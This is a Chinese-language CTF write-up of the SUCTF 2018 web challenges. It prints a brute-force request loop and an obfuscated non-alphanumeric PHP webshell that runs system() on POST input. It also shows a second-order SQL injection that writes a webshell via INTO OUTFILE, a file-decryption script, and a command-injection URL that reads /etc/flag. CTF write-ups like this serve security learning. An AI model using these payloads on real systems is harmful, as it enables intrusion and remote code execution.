SUCTF 2018 Web部分Writeup

这次比赛bin爷爷都去tctf线下了留下了web狗(我,躺)(辉神密码学带飞)和学弟们(带飞)和web学长(带飞)奋战,能拿到第二的成绩真的挺意外的。


Anonymous

https://lorexxar.cn/2017/11/10/hitcon2017-writeup/#baby-h-master-php-2017

发送大量请求即可

1
2
3
4
import requests
while True:
r=requests.get('http://web.suctf.asuri.org:81/?func_name=%00lambda_1')
print r.text

GetShell

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

1
2
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
//system($_POST[a])

multisql

起先发现http://web.suctf.asuri.org:85/user/user.php?id=1这里有注入,然后试了下发现过滤了一堆常用语句,当时想用prepare语句的,但没想起来怎么用。然后用id=1 into @a,@b,@c,@d,@e推断出有5个字段,然后就没然后了。

然后注册admin'#虽然确实是被转义了,但是在user.php里的数据竟然是admin的,猜测是个二次注入。但一时没用起来,因为常规语句被过滤了。这是拯救世界的@C014出现了。首先是找到了与漏洞平台的相似框架https://github.com/Eworld97/php_audit/tree/master/VAuditDemo,审计了下,发现确实有二次注入,其次into没有被过滤,所以可以利用into和这个二次注入搞事情。

首先注册个用户名为<?=`$_POST[c]`;?>,这时数据库里就会有一条数据。

我们再注册个用户名为<?=`$_POST[c]`;?>’into outfile’/var/www/html/favicon/c1.php 的用户

在user.php中他会去查询这个用户的信息,select from users where username = ‘{$_SESSION[‘username’]}’,所以我们登录第二个用户,在进入user.php中就会产生select from users where username = ‘<?=$_POST[c];?>’into outfile’/var/www/html/favicon/c1.php’ 这样就写了个shell

套路跟日志getshell类似。

赛后发现这是非预期 > 人 <

HateIT

.git 泄露,.git 下存在所有的源码,不过被加密了

robots.txt里提示有个.so,下载过来ida打开,发现是个php扩展,稍微处理了下就把idb文件丢给做bin的学弟了(我也想逆向

学弟解密三个文件的同时,我就在肉眼还原php opcode

文件解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
listA = [0x49,0xfa,0x0,0xfa,0x0,0x23,0xff,0x23,0x8e,0xea,0xfa,0xf3,0xa6,0xf3,0xc6,0x8e]

def decrypt(Str):
fp2 = open('2.php','wb')
purpose = ''
v3 = 0
purpose += (Str[:12])
Str2 = Str[12:]
for i in range(len(Str2)):
if i % 2 == 1:
v3 = (i + listA[v3] + v3) & 0xf
purpose += chr((~(ord(Str2[i])) & 0xff) ^ listA[v3])
else:
purpose += Str2[i]
fp2.write(purpose)
fp = open('admin.php','rb')
a = fp.read()
decrypt(a)

还原的index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
//!0 = $username, !1 = $md5, !2 = $admin, !3 = $token, !4 = $sign, !5 = $info
if(!isset($_SESSION)) {
}
session_start();

include_once('func.php');
if(isset($_GET['username'])) {

$username = $_GET['username'];

$md5 = md5(get_identify().$username);
$token = encrypt($username,'|',$admin,'|',$md5);
$_SESSION['sign'] = $md5;
$_SESSION['token'] = $token;
}
showImage();
if(isset($_GET['sign'])&&isset($_GET['token']))
{
$sign = $_GET['sign'];
$token = $_GET['token'];
echo 'sign+%3A+'.$sign.'%3Cbr%3E%0A';
echo 'token%3A+'.$token.'%3Cbr%3E%0A';
$info = explode(decrypt($token),'|');
echo decrypt($token);
var_dump($info);
if(count($info) == 3)
{

if(md5(get_identify().$info[0]) == $info[2] && $sign = $info[1])
{
$admin = $info[1];
}
else
{
die();
}
}
else
{
die();
}
}
else if(isset($_SESSION['token'])&&isset($_SESSION['sign']))
{
echo 'sign+%3A+'.$_SESSION['sign'].'%3Cbr%3E%0A';
echo 'token%3A+'.$_SESSION['token'].'%3Cbr%3E%0A';
$token = $_SESSION['token'];
$sign = $_SESSION['token'];
$info = explode(decrypt($token),'|');
if(count($info) == 3)
{
if(md5(get_identify().$info[0]) == $info[2] && $sign = $info[1])
{
$admin = $info[1];
echo '%3Cbr%3E'.$admin;
}
else
{
die();
}

}
else
{
die();
}
}
if(isset($admin))
{
if($admin == 3)
{
$_SESSION['auth'] = 'admin';
echo '%3Ca+href%3D%27admin.php%27%3EAdmin%3C%2Fa%3E';
}
}

代码审计一波,发现class.php中存在命令执行,但是首先要达到admin权限,在index.php很明显是另$admin=3,于是用现成的php代码跑了个token跟sign出来去命令执行了

web.suctf.asuri.org:83/admin.php?action=viewImage&file=;cat%20/etc/flag;